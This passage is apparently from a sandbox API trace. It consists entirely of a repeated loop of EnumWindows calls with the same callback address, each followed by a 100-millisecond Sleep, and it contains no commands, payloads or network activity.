[0171.026] Sleep (dwMilliseconds=0x64) [0171.028] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.028] Sleep (dwMilliseconds=0x64) [0171.029] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.030] Sleep (dwMilliseconds=0x64) [0171.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.032] Sleep (dwMilliseconds=0x64) [0171.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.033] Sleep (dwMilliseconds=0x64) [0171.035] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.035] Sleep (dwMilliseconds=0x64) [0171.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.037] Sleep (dwMilliseconds=0x64) [0171.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.041] Sleep (dwMilliseconds=0x64) [0171.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.043] Sleep (dwMilliseconds=0x64) [0171.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.044] Sleep (dwMilliseconds=0x64) [0171.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.046] Sleep (dwMilliseconds=0x64) [0171.140] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.141] Sleep (dwMilliseconds=0x64) [0171.143] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.143] Sleep (dwMilliseconds=0x64) [0171.145] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.145] Sleep (dwMilliseconds=0x64) [0171.146] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.146] Sleep (dwMilliseconds=0x64) [0171.148] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.148] Sleep (dwMilliseconds=0x64) [0171.150] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.150] Sleep (dwMilliseconds=0x64) [0171.152] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.153] Sleep (dwMilliseconds=0x64) [0171.155] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.155] Sleep (dwMilliseconds=0x64) [0171.157] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.157] Sleep (dwMilliseconds=0x64) [0171.159] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.159] Sleep (dwMilliseconds=0x64) [0171.235] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.235] Sleep (dwMilliseconds=0x64) [0171.237] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.237] Sleep (dwMilliseconds=0x64) [0171.238] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.238] Sleep (dwMilliseconds=0x64) [0171.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.240] Sleep (dwMilliseconds=0x64) [0171.241] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.241] Sleep (dwMilliseconds=0x64) [0171.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.243] Sleep (dwMilliseconds=0x64) [0171.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.245] Sleep (dwMilliseconds=0x64) [0171.246] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.246] Sleep (dwMilliseconds=0x64) [0171.326] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.326] Sleep (dwMilliseconds=0x64) [0171.385] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.385] Sleep (dwMilliseconds=0x64) [0171.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.387] Sleep (dwMilliseconds=0x64) [0171.427] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.427] Sleep (dwMilliseconds=0x64) [0171.498] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.499] Sleep (dwMilliseconds=0x64) [0171.510] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.510] Sleep (dwMilliseconds=0x64) [0171.512] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.512] Sleep (dwMilliseconds=0x64) [0171.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.514] Sleep (dwMilliseconds=0x64) [0171.515] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.515] Sleep (dwMilliseconds=0x64) [0171.517] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.517] Sleep (dwMilliseconds=0x64) [0171.518] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.519] Sleep (dwMilliseconds=0x64) [0171.520] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.520] Sleep (dwMilliseconds=0x64) [0171.521] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.522] Sleep (dwMilliseconds=0x64) [0171.523] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.523] Sleep (dwMilliseconds=0x64) [0171.524] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.525] Sleep (dwMilliseconds=0x64) [0171.526] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.526] Sleep (dwMilliseconds=0x64) [0171.527] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.527] Sleep (dwMilliseconds=0x64) [0171.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.588] Sleep (dwMilliseconds=0x64) [0171.589] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.590] Sleep (dwMilliseconds=0x64) [0171.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.592] Sleep (dwMilliseconds=0x64) [0171.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.604] Sleep (dwMilliseconds=0x64) [0171.605] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.606] Sleep (dwMilliseconds=0x64) [0171.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.607] Sleep (dwMilliseconds=0x64) [0171.608] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.609] Sleep (dwMilliseconds=0x64) [0171.610] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.610] Sleep (dwMilliseconds=0x64) [0171.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.612] Sleep (dwMilliseconds=0x64) [0171.613] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.613] Sleep (dwMilliseconds=0x64) [0171.614] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.615] Sleep (dwMilliseconds=0x64) [0171.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.616] Sleep (dwMilliseconds=0x64) [0171.618] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.618] Sleep (dwMilliseconds=0x64) [0171.619] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.620] Sleep (dwMilliseconds=0x64) [0171.621] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.621] Sleep (dwMilliseconds=0x64) [0171.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.624] Sleep (dwMilliseconds=0x64) [0171.626] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.626] Sleep (dwMilliseconds=0x64) [0171.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.628] Sleep (dwMilliseconds=0x64) [0171.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.629] Sleep (dwMilliseconds=0x64) [0171.630] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.631] Sleep (dwMilliseconds=0x64) [0171.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.632] Sleep (dwMilliseconds=0x64) [0171.633] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.634] Sleep (dwMilliseconds=0x64) [0171.635] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.635] Sleep (dwMilliseconds=0x64) [0171.636] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.637] Sleep (dwMilliseconds=0x64) [0171.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.638] Sleep (dwMilliseconds=0x64) [0171.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.640] Sleep (dwMilliseconds=0x64) [0171.641] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.642] Sleep (dwMilliseconds=0x64) [0171.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.644] Sleep (dwMilliseconds=0x64) [0171.658] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.659] Sleep (dwMilliseconds=0x64) [0171.660] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.661] Sleep (dwMilliseconds=0x64) [0171.662] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.662] Sleep (dwMilliseconds=0x64) [0171.664] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.664] Sleep (dwMilliseconds=0x64) [0171.666] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.666] Sleep (dwMilliseconds=0x64) [0171.667] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.668] Sleep (dwMilliseconds=0x64) [0171.669] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.669] Sleep (dwMilliseconds=0x64) [0171.670] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.671] Sleep (dwMilliseconds=0x64) [0171.672] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.672] Sleep (dwMilliseconds=0x64) [0171.673] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.674] Sleep (dwMilliseconds=0x64) [0171.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.675] Sleep (dwMilliseconds=0x64) [0171.676] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.677] Sleep (dwMilliseconds=0x64) [0171.678] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.678] Sleep (dwMilliseconds=0x64) [0171.680] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.680] Sleep (dwMilliseconds=0x64) [0171.682] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.683] Sleep (dwMilliseconds=0x64) [0171.684] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.684] Sleep (dwMilliseconds=0x64) [0171.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.686] Sleep (dwMilliseconds=0x64) [0171.687] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.687] Sleep (dwMilliseconds=0x64) [0171.689] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.689] Sleep (dwMilliseconds=0x64) [0171.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.691] Sleep (dwMilliseconds=0x64) [0171.692] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.692] Sleep (dwMilliseconds=0x64) [0171.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.694] Sleep (dwMilliseconds=0x64) [0171.695] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.696] Sleep (dwMilliseconds=0x64) [0171.697] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.697] Sleep (dwMilliseconds=0x64) [0171.698] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.699] Sleep (dwMilliseconds=0x64) [0171.700] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.700] Sleep (dwMilliseconds=0x64) [0171.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.702] Sleep (dwMilliseconds=0x64) [0171.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.704] Sleep (dwMilliseconds=0x64) [0171.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.706] Sleep (dwMilliseconds=0x64) [0171.707] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.707] Sleep (dwMilliseconds=0x64) [0171.709] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.709] Sleep (dwMilliseconds=0x64) [0171.710] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.710] Sleep (dwMilliseconds=0x64) [0171.712] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.712] Sleep (dwMilliseconds=0x64) [0171.713] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.713] Sleep (dwMilliseconds=0x64) [0171.715] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.715] Sleep (dwMilliseconds=0x64) [0171.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.716] Sleep (dwMilliseconds=0x64) [0171.718] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.718] Sleep (dwMilliseconds=0x64) [0171.720] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.720] Sleep (dwMilliseconds=0x64) [0171.721] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.721] Sleep (dwMilliseconds=0x64) [0171.723] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.723] Sleep (dwMilliseconds=0x64) [0171.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.724] Sleep (dwMilliseconds=0x64) [0171.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.726] Sleep (dwMilliseconds=0x64) [0171.729] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.729] Sleep (dwMilliseconds=0x64) [0171.731] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.731] Sleep (dwMilliseconds=0x64) [0171.733] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.733] Sleep (dwMilliseconds=0x64) [0171.734] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.734] Sleep (dwMilliseconds=0x64) [0171.735] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.736] Sleep (dwMilliseconds=0x64) [0171.737] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.737] Sleep (dwMilliseconds=0x64) [0171.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.739] Sleep (dwMilliseconds=0x64) [0171.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.741] Sleep (dwMilliseconds=0x64) [0171.742] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.742] Sleep (dwMilliseconds=0x64) [0171.744] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.745] Sleep (dwMilliseconds=0x64) [0171.746] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.746] Sleep (dwMilliseconds=0x64) [0171.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.748] Sleep (dwMilliseconds=0x64) [0171.749] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.749] Sleep (dwMilliseconds=0x64) [0171.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.751] Sleep (dwMilliseconds=0x64) [0171.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.754] Sleep (dwMilliseconds=0x64) [0171.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.755] Sleep (dwMilliseconds=0x64) [0171.757] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.757] Sleep (dwMilliseconds=0x64) [0171.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.758] Sleep (dwMilliseconds=0x64) [0171.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.760] Sleep (dwMilliseconds=0x64) [0171.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.763] Sleep (dwMilliseconds=0x64) [0171.765] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.765] Sleep (dwMilliseconds=0x64) [0171.767] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.767] Sleep (dwMilliseconds=0x64) [0171.769] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.769] Sleep (dwMilliseconds=0x64) [0171.771] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.771] Sleep (dwMilliseconds=0x64) [0171.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.773] Sleep (dwMilliseconds=0x64) [0171.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.775] Sleep (dwMilliseconds=0x64) [0171.776] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.777] Sleep (dwMilliseconds=0x64) [0171.780] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.780] Sleep (dwMilliseconds=0x64) [0171.781] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.781] Sleep (dwMilliseconds=0x64) [0171.783] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.783] Sleep (dwMilliseconds=0x64) [0171.785] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.785] Sleep (dwMilliseconds=0x64) [0171.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.786] Sleep (dwMilliseconds=0x64) [0171.788] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.788] Sleep (dwMilliseconds=0x64) [0171.789] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.790] Sleep (dwMilliseconds=0x64) [0171.792] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.792] Sleep (dwMilliseconds=0x64) [0171.793] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.793] Sleep (dwMilliseconds=0x64) [0171.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.795] Sleep (dwMilliseconds=0x64) [0171.796] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.796] Sleep (dwMilliseconds=0x64) [0171.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.798] Sleep (dwMilliseconds=0x64) [0171.799] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.799] Sleep (dwMilliseconds=0x64) [0171.801] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.801] Sleep (dwMilliseconds=0x64) [0171.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.802] Sleep (dwMilliseconds=0x64) [0171.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.804] Sleep (dwMilliseconds=0x64) [0171.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.807] Sleep (dwMilliseconds=0x64) [0171.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.810] Sleep (dwMilliseconds=0x64) [0171.811] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.811] Sleep (dwMilliseconds=0x64) [0171.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.813] Sleep (dwMilliseconds=0x64) [0171.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.815] Sleep (dwMilliseconds=0x64) [0171.816] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.816] Sleep (dwMilliseconds=0x64) [0171.818] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.818] Sleep (dwMilliseconds=0x64) [0171.820] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.820] Sleep (dwMilliseconds=0x64) [0171.821] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.822] Sleep (dwMilliseconds=0x64) [0171.823] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.823] Sleep (dwMilliseconds=0x64) [0171.825] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.825] Sleep (dwMilliseconds=0x64) [0171.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.826] Sleep (dwMilliseconds=0x64) [0171.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.828] Sleep (dwMilliseconds=0x64) [0171.829] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.829] Sleep (dwMilliseconds=0x64) [0171.831] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.831] Sleep (dwMilliseconds=0x64) [0171.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.833] Sleep (dwMilliseconds=0x64) [0171.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.835] Sleep (dwMilliseconds=0x64) [0171.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.837] Sleep (dwMilliseconds=0x64) [0171.838] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.838] Sleep (dwMilliseconds=0x64) [0171.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.840] Sleep (dwMilliseconds=0x64) [0171.841] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.841] Sleep (dwMilliseconds=0x64) [0171.844] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.844] Sleep (dwMilliseconds=0x64) [0171.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.845] Sleep (dwMilliseconds=0x64) [0171.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.847] Sleep (dwMilliseconds=0x64) [0171.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.848] Sleep (dwMilliseconds=0x64) [0171.851] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.851] Sleep (dwMilliseconds=0x64) [0171.852] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.852] Sleep (dwMilliseconds=0x64) [0171.854] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.854] Sleep (dwMilliseconds=0x64) [0171.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.855] Sleep (dwMilliseconds=0x64) [0171.857] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.857] Sleep (dwMilliseconds=0x64) [0171.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.858] Sleep (dwMilliseconds=0x64) [0171.860] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.860] Sleep (dwMilliseconds=0x64) [0171.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.861] Sleep (dwMilliseconds=0x64) [0171.864] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.864] Sleep (dwMilliseconds=0x64) [0171.866] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.866] Sleep (dwMilliseconds=0x64) [0171.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.868] Sleep (dwMilliseconds=0x64) [0171.869] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.869] Sleep (dwMilliseconds=0x64) [0171.871] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.871] Sleep (dwMilliseconds=0x64) [0171.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.872] Sleep (dwMilliseconds=0x64) [0171.874] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.874] Sleep (dwMilliseconds=0x64) [0171.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.876] Sleep (dwMilliseconds=0x64) [0171.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.877] Sleep (dwMilliseconds=0x64) [0171.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.879] Sleep (dwMilliseconds=0x64) [0171.880] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.880] Sleep (dwMilliseconds=0x64) [0171.882] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.882] Sleep (dwMilliseconds=0x64) [0171.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.883] Sleep (dwMilliseconds=0x64) [0171.885] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.885] Sleep (dwMilliseconds=0x64) [0171.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.886] Sleep (dwMilliseconds=0x64) [0171.896] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.897] Sleep (dwMilliseconds=0x64) [0171.898] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.898] Sleep (dwMilliseconds=0x64) [0171.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.900] Sleep (dwMilliseconds=0x64) [0171.901] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.901] Sleep (dwMilliseconds=0x64) [0171.903] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.903] Sleep (dwMilliseconds=0x64) [0171.904] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.904] Sleep (dwMilliseconds=0x64) [0171.906] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.906] Sleep (dwMilliseconds=0x64) [0171.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.907] Sleep (dwMilliseconds=0x64) [0171.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.909] Sleep (dwMilliseconds=0x64) [0171.911] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.911] Sleep (dwMilliseconds=0x64) [0171.913] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.913] Sleep (dwMilliseconds=0x64) [0171.915] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.915] Sleep (dwMilliseconds=0x64) [0171.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.917] Sleep (dwMilliseconds=0x64) [0171.919] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.919] Sleep (dwMilliseconds=0x64) [0171.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.921] Sleep (dwMilliseconds=0x64) [0171.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.922] Sleep (dwMilliseconds=0x64) [0171.925] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.925] Sleep (dwMilliseconds=0x64) [0171.927] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.927] Sleep (dwMilliseconds=0x64) [0171.929] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.929] Sleep (dwMilliseconds=0x64) [0171.931] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.931] Sleep (dwMilliseconds=0x64) [0171.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.933] Sleep (dwMilliseconds=0x64) [0171.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.934] Sleep (dwMilliseconds=0x64) [0171.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.936] Sleep (dwMilliseconds=0x64) [0171.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.938] Sleep (dwMilliseconds=0x64) [0171.939] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.939] Sleep (dwMilliseconds=0x64) [0171.941] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.941] Sleep (dwMilliseconds=0x64) [0171.942] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.942] Sleep (dwMilliseconds=0x64) [0171.945] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.945] Sleep (dwMilliseconds=0x64) [0171.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.946] Sleep (dwMilliseconds=0x64) [0171.948] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.948] Sleep (dwMilliseconds=0x64) [0171.949] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.950] Sleep (dwMilliseconds=0x64) [0171.951] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.951] Sleep (dwMilliseconds=0x64) [0171.953] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.953] Sleep (dwMilliseconds=0x64) [0171.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.954] Sleep (dwMilliseconds=0x64) [0171.958] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.958] Sleep (dwMilliseconds=0x64) [0171.959] EnumWindows (lpEnumFunc=0x423dd0, 